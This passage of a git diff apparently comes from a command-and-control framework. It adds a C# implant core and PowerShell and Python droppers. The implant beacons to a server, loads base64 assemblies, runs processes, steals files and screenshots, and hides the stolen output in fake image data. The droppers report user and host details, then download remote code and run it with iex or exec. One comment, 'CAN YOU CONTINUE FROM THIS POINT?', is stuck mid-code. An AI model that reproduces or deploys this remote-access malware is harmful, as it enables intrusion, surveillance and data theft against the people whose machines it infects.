Regex("(?<=\")[^\"]*(?=\")|[^\" ]+", RegexOptions.Compiled); + static List _newImgs = new List(); + + internal static void Init(String stringIMGS) + { + var stringnewIMGS = _re.Matches(stringIMGS.Replace(",", "")).Cast().Select(m => m.Value); + stringnewIMGS = stringnewIMGS.Where(m => !string.IsNullOrEmpty(m)); + _newImgs = stringnewIMGS.ToList(); + } + + static string RandomString(int length) + { + const string chars = "...................@..........................Tyscf"; + return new string(Enumerable.Repeat(chars, length).Select(s => s[_rnd.Next(s.Length)]).ToArray()); + } + + internal static byte[] GetImgData(byte[] cmdoutput) + { + Int32 maxByteslen = 1500, maxDatalen = cmdoutput.Length + maxByteslen; + var randimg = _newImgs[(new Random()).Next(0, _newImgs.Count)]; + var imgBytes = System.Convert.FromBase64String(randimg); + var BytePadding = System.Text.Encoding.UTF8.GetBytes((RandomString(maxByteslen - imgBytes.Length))); + var ImageBytesFull = new byte[maxDatalen]; + + System.Array.Copy(imgBytes, 0, ImageBytesFull, 0, imgBytes.Length); + System.Array.Copy(BytePadding, 0, ImageBytesFull, imgBytes.Length, BytePadding.Length); + System.Array.Copy(cmdoutput, 0, ImageBytesFull, imgBytes.Length + BytePadding.Length, cmdoutput.Length); + return ImageBytesFull; + } + } + + static void ImplantCore(string baseURL, string RandomURI, string stringURLS, string KillDate, string Sleep, string Key, string stringIMGS) + { + UrlGen.Init(stringURLS, RandomURI, baseURL); + ImgGen.Init(stringIMGS); + int beacontime = 5; + if (!Int32.TryParse(Sleep, out beacontime)) + beacontime = 5; + + var strOutput = new StringWriter(); + Console.SetOut(strOutput); + var exitvt = new ManualResetEvent(false); + var output = new StringBuilder(); + while (!exitvt.WaitOne((int)(beacontime * 1000 * (((new Random()).Next(0, 2) > 0) ? 1.05 : 0.95)))) + { + if (Convert.ToDateTime(KillDate) < DateTime.Now) + { + exitvt.Set(); + continue; + } + output.Length = 0; + try + { + String x = "", tasksrc = "", cmd = null; + try + { + cmd = GetWebRequest(null).DownloadString(UrlGen.GenerateUrl()); + x = Decryption(Key, cmd).Replace("\0", string.Empty); + } + catch + { + continue; + } //CAN YOU CONTINUE FROM THIS POINT? + + if (x.ToLower().StartsWith("multicmd")) + { + var splitcmd = x.Replace("multicmd", ""); + var split = splitcmd.Split(new string[] { "!d-3dion@LD!-d" }, StringSplitOptions.RemoveEmptyEntries); + foreach (string c in split) + { + tasksrc = c; + if (c.ToLower().StartsWith("exit")) + { + exitvt.Set(); + break; + } + else if (c.ToLower().StartsWith("loadmodule")) + { + var module = Regex.Replace(c, "loadmodule", "", RegexOptions.IgnoreCase); + var assembly = System.Reflection.Assembly.Load(System.Convert.FromBase64String(module)); + output.AppendLine("Module loaded sucessfully"); + tasksrc = "Module loaded sucessfully"; + } + else if (c.ToLower().StartsWith("upload-file")) + { + var path = Regex.Replace(c, "upload-file", "", RegexOptions.IgnoreCase); + var splitargs = path.Split(new string[] { ";" }, StringSplitOptions.RemoveEmptyEntries); + Console.WriteLine("Uploaded file to: " + splitargs[1]); + var fileBytes = Convert.FromBase64String(splitargs[0]); + System.IO.File.WriteAllBytes(splitargs[1].Replace("\"", ""), fileBytes); + tasksrc = "Uploaded file sucessfully"; + } + else if (c.ToLower().StartsWith("download-file")) + { + var path = Regex.Replace(c, "download-file ", "", RegexOptions.IgnoreCase); + var file = File.ReadAllBytes(path.Replace("\"", "")); + var fileChuck = Combine(Encoding.ASCII.GetBytes("0000100001"), file); + + var dtask = Encryption(Key, c); + var dcoutput = Encryption(Key, "", true, fileChuck); + var doutputBytes = System.Convert.FromBase64String(dcoutput); + var dsendBytes = ImgGen.GetImgData(doutputBytes); + GetWebRequest(dtask).UploadData(UrlGen.GenerateUrl(), dsendBytes); + } + else if (c.ToLower().StartsWith("get-screenshotmulti")) + { + bool sShot = true; + int sShotCount = 1; + while(sShot) { + var sHot = RunAssembly("run-exe Core.Program Core get-screenshot"); + var dtask = Encryption(Key, c); + var dcoutput = Encryption(Key, strOutput.ToString(), true); + var doutputBytes = System.Convert.FromBase64String(dcoutput); + var dsendBytes = ImgGen.GetImgData(doutputBytes); + GetWebRequest(dtask).UploadData(UrlGen.GenerateUrl(), dsendBytes); + Thread.Sleep(240000); + sShotCount++; + if (sShotCount > 100) { + sShot = false; + tasksrc = "Finished Multi"; + var sbc = strOutput.GetStringBuilder(); + sbc.Remove(0, sbc.Length); + output.Append("[+] Multi Screenshot Ran Sucessfully"); + } + } + } + else if (c.ToLower().StartsWith("listmodules")) + { + var appd = AppDomain.CurrentDomain.GetAssemblies(); + output.AppendLine("[+] Modules loaded:").AppendLine(""); + foreach (var ass in appd) + output.AppendLine(ass.FullName.ToString()); + } + else if (c.ToLower().StartsWith("run-dll") || c.ToLower().StartsWith("run-exe")) + { + output.AppendLine(RunAssembly(c)); + } + else if (c.ToLower().StartsWith("start-process")) + { + var proc = c.Replace("'", "").Replace("\"", ""); + var pstart = Regex.Replace(proc, "start-process ", "", RegexOptions.IgnoreCase); + pstart = Regex.Replace(pstart, "-argumentlist(.*)", "", RegexOptions.IgnoreCase); + var args = Regex.Replace(proc, "(.*)argumentlist ", "", RegexOptions.IgnoreCase); + var p = new Process(); + p.StartInfo.UseShellExecute = false; + p.StartInfo.RedirectStandardOutput = p.StartInfo.RedirectStandardError = p.StartInfo.CreateNoWindow = true; + p.StartInfo.FileName = pstart; + p.StartInfo.Arguments = args; + p.Start(); + output.AppendLine(p.StandardOutput.ReadToEnd()).AppendLine(p.StandardError.ReadToEnd()); + p.WaitForExit(); + } + else if (c.ToLower().StartsWith("setbeacon") || c.ToLower().StartsWith("beacon")) + { + var bcnRgx = new Regex(@"(?<=(setbeacon|beacon)\s{1,})(?[0-9]{1,9})(?[h,m,s]{0,1})", RegexOptions.Compiled | RegexOptions.IgnoreCase); + var mch = bcnRgx.Match(c); + if (mch.Success) + { + beacontime = Int32.Parse(mch.Groups["t"].Value); + switch (mch.Groups["u"].Value) + { + case "h": + beacontime *= 3600; + break; + case "m": + beacontime *= 60; + break; + } + } + else + output.AppendLine($@"[X] Invalid time ""{c}"""); + } + + output.AppendLine(strOutput.ToString()); + var sb = strOutput.GetStringBuilder(); + sb.Remove(0, sb.Length); + if (tasksrc.Length > 200) + tasksrc = tasksrc.Substring(0, 199); + var task = Encryption(Key, tasksrc); + var coutput = Encryption(Key, output.ToString(), true); + var outputBytes = System.Convert.FromBase64String(coutput); + var sendBytes = ImgGen.GetImgData(outputBytes); + GetWebRequest(task).UploadData(UrlGen.GenerateUrl(), sendBytes); + } + } + } + catch (Exception e) + { + var task = Encryption(Key, "Error"); + var eroutput = Encryption(Key, $"Error: {output.ToString()} {e}", true); + var outputBytes = System.Convert.FromBase64String(eroutput); + var sendBytes = ImgGen.GetImgData(outputBytes); + GetWebRequest(task).UploadData(UrlGen.GenerateUrl(), sendBytes); + } + } + } +} diff --git a/Files/dropper.ps1 b/Files/dropper.ps1 new file mode 100644 index 0000000..0a30c0b --- /dev/null +++ b/Files/dropper.ps1 @@ -0,0 +1,83 @@ +#REPLACEINSECURE# +$sc="#REPLACEHOSTPORT#" +$s="#REPLACEIMPTYPE#" +function CAM ($key,$IV){ +try {$a = New-Object "System.Security.Cryptography.RijndaelManaged" +} catch {$a = New-Object "System.Security.Cryptography.AesCryptoServiceProvider"} +$a.Mode = [System.Security.Cryptography.CipherMode]::CBC +$a.Padding = [System.Security.Cryptography.PaddingMode]::Zeros +$a.BlockSize = 128 +$a.KeySize = 256 +if ($IV) +{ +if ($IV.getType().Name -eq "String") +{$a.IV = [System.Convert]::FromBase64String($IV)} +else +{$a.IV = $IV} +} +if ($key) +{ +if ($key.getType().Name -eq "String") +{$a.Key = [System.Convert]::FromBase64String($key)} +else +{$a.Key = $key} +} +$a} +function ENC ($key,$un){ +$b = [System.Text.Encoding]::UTF8.GetBytes($un) +$a = CAM $key +$e = $a.CreateEncryptor() +$f = $e.TransformFinalBlock($b, 0, $b.Length) +[byte[]] $p = $a.IV + $f +[System.Convert]::ToBase64String($p) +} +function DEC ($key,$enc){ +$b = [System.Convert]::FromBase64String($enc) +$IV = $b[0..15] +$a = CAM $key $IV +$d = $a.CreateDecryptor() +$u = $d.TransformFinalBlock($b, 16, $b.Length - 16) +[System.Text.Encoding]::UTF8.GetString($u)} +function Get-Webclient ($Cookie) { +$d = (Get-Date -Format "dd/MM/yyyy"); +$d = [datetime]::ParseExact($d,"dd/MM/yyyy",$null); +$k = [datetime]::ParseExact("#REPLACEKILLDATE#","dd/MM/yyyy",$null); +if ($k -lt $d) {exit} +$username = "#REPLACEPROXYUSER#" +$password = "#REPLACEPROXYPASS#" +$proxyurl = "#REPLACEPROXYURL#" +$wc = New-Object System.Net.WebClient; +#REPLACEPROXY# +$h="#REPLACEDOMAINFRONT#" +if ($h -and (($psversiontable.CLRVersion.Major -gt 2))) {$wc.Headers.Add("Host",$h)} +elseif($h){$script:s="https://$($h)#REPLACECONNECT#";$script:sc="https://$($h)"} +$wc.Headers.Add("User-Agent","#REPLACEUSERAGENT#") +$wc.Headers.Add("Referer","#REPLACEREFERER#") +if ($proxyurl) { +$wp = New-Object System.Net.WebProxy($proxyurl,$true); +if ($username -and $password) { +$PSS = ConvertTo-SecureString $password -AsPlainText -Force; +$getcreds = new-object system.management.automation.PSCredential $username,$PSS; +$wp.Credentials = $getcreds; +} else { $wc.UseDefaultCredentials = $true; } +$wc.Proxy = $wp; } else { +$wc.UseDefaultCredentials = $true; +$wc.Proxy.Credentials = $wc.Credentials; +} if ($cookie) { $wc.Headers.Add([System.Net.HttpRequestHeader]::Cookie, "SessionID=$Cookie") } +$wc } +function primer { +try{$u=([Security.Principal.WindowsIdentity]::GetCurrent()).name} catch{if ($env:username -eq "$($env:computername)$"){}else{$u=$env:username}} +$o="$env:userdomain;$u;$env:computername;$env:PROCESSOR_ARCHITECTURE;$pid;#REPLACEHOSTPORT#" +try {$pp=enc -key #REPLACEKEY# -un $o} catch {$pp="ERROR"} +$primer = (Get-Webclient -Cookie $pp).downloadstring($s) +$p = dec -key #REPLACEKEY# -enc $primer +if ($p -like "*key*") {$p| iex} +} +try {primer} catch {} +Start-Sleep 300 +try {primer} catch {} +Start-Sleep 600 +try {primer} catch {} + + + diff --git a/Files/dropper.py b/Files/dropper.py new file mode 100644 index 0000000..023a3fd --- /dev/null +++ b/Files/dropper.py @@ -0,0 +1,26 @@ +import urllib2,os,sys,base64,ssl,socket,pwd,hashlib,time +kd=time.strptime("#REPLACEKILLDATE#","%d/%m/%Y") +pyhash="#REPLACEPYTHONHASH#" +pykey="#REPLACESPYTHONKEY#" +key="#REPLACEKEY#" +serverclean="#REPLACEHOSTPORT#" +url="#REPLACEQUICKCOMMAND#" +url2="#REPLACECONNECTURL#" +hh="#REPLACEDOMAINFRONT#" +ua="#REPLACEUSERAGENT#" +cstr=time.strftime("%d/%m/%Y",time.gmtime());cstr=time.strptime(cstr,"%d/%m/%Y") +ssl._create_default_https_context=ssl._create_unverified_context +if hh: r=urllib2.Request(url,headers={'Host':hh,'User-agent':ua}) +else: r=urllib2.Request(url,headers={'User-agent':ua}) +res=urllib2.urlopen(r);d=res.read();c=d[1:];b=c.decode("hex") +s=hashlib.sha512(b) +if pykey in b and pyhash == s.hexdigest() and cstr < kd: exec(b) +else: sys.exit(0) +un=pwd.getpwuid( os.getuid() )[ 0 ];pid=os.getpid() +is64=sys.maxsize > 2**32;arch=('x64' if is64 == True else 'x86') +hn=socket.gethostname();o=urllib2.build_opener() +encsid=encrypt(key, '%s;%s;%s;%s;%s;%s' % (un,hn,hn,arch,pid,serverclean)) +if hh:r=urllib2.Request(url2,headers={'Host':hh,'User-agent':ua,'Cookie':'SessionID=%s' % encsid}) +else:r=urllib2.Request(url2,headers={'User-agent':ua,'Cookie':'SessionID=%s' % encsid}) +res=urllib2.urlopen(r);html=res.read();x=decrypt(key, html).rstrip('\0');exec(x) + diff --git a/HTML.py b/HTML.py index 4fe4442..80ab718 100644 --- a/HTML.py +++ b/HTML.py @@ -84,7 +84,7 @@ def get_htmlimplant( randomuri ): def generate_table(table): HTMLPre = """